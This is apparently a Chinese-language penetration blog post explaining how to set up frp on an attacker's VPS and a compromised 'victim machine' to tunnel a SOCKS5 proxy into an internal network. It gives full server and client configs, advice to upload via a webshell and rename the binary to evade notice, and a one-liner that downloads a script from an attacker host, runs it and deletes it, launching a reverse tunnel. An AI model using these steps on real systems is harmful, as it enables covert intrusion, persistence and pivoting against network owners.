0x00 前言
nps相比上次已經介紹過了。但是他有一個致命缺點就是在scks5代理下會長連接一直不放開導致結果不准確。所以來講講frp的使用。frp雖然需要落地配置文件,但是掃描的結果還是很准確的。frp有個負載均衡的功能很強。畢竟有時候內網流量一大,很容易被管理員發現。nps有流量加密和壓縮傳輸也是減少觸犯防火牆規則。
0x01 frp搭建
下載鏈接:https://github.com/fatedier/frp/releases
socks5環境VPS配置:
[common] bind_addr = 0.0.0.0 bind_port = 7000 #其實可以不配置下面這些,web界面只會消耗內存 # IP 與 bind_addr 默認相同,可以不設置 # dashboard_addr = 0.0.0.0 # 端口必須設置,只有設置web頁面才生效 dashboard_port = 7500 # 用戶密碼保平安 dashboard_user = admin1 dashboard_pwd = hadaessd@@@!!@@# # 允許客戶端綁定的端口 allow_ports = 40000-50000
啟動服務端:
nohup ./frps -c frps.ini &
入侵主機上配置:
#可以使用菜刀上傳,文件較大
#編輯frpc.ini內容如下,與frpc一並上傳到服務器 # chmod +x frpc(最好將其改個名,比如deamon) [common] #remote vps addr server_addr = your vps addr #端口自選 server_port = 7000 tls_enable = true pool_count = 5 [plugin_socks] type = tcp remote_port = 46075 plugin = socks5 plugin_user = admin plugin_passwd = hahha@@### use_encryption = true use_compression = true
在受害機器上執行:
nohup ./frpc -c frpc.ini &
利用proxifer客戶端鏈接即可:
嫌棄配置麻煩其實可以一勞永逸(Linux機器):
#你的服務器上面建立3Edsr9I文件,內容如下: #http://xx.xx.xx.xx/3Edsr9I wget https://github.com/fatedier/frp/releases/download/v0.29.0/frp_0.29.0_linux_amd64.tar.gz -o /tmp/yU6te2.tar.gz tar -zx /tmp/yU6te2.tar.gz frp_0.29.0_linux_amd64/frpc --strip-components 1 mv frpc deamon rm -rf /tmp/yU6te2.tar.gz # 這里寫客戶端配置文件 echo -e "[common]\nserver_addr = xxx.xx.xx.xx\nserver_port = 7000\ntls_enable = true\npool_count = 5\n\n[plugin_socks]\ntype = tcp\nremote_port = 46075\nplugin = socks5\nplugin_user = admin\nplugin_passwd = hahaha!@#$%^\nuse_encryption = true\nuse_compression = true" > delphi.ini # 啟動 nohup ./deamon -c delphi.ini &
然后在可以出網的機器上執行如下命令:
wget http://xx.xx.xx.xx/3Edsr9I >/dev/null 2>&1 && chmod +x 3Edsr9I && ./3Edsr9I && rm -rf 3Edsr9I
0x02 總結
因為自己平時用socks穿透比較多,所以這里就只做socks5介紹,感興趣的同學可以試試負載均衡。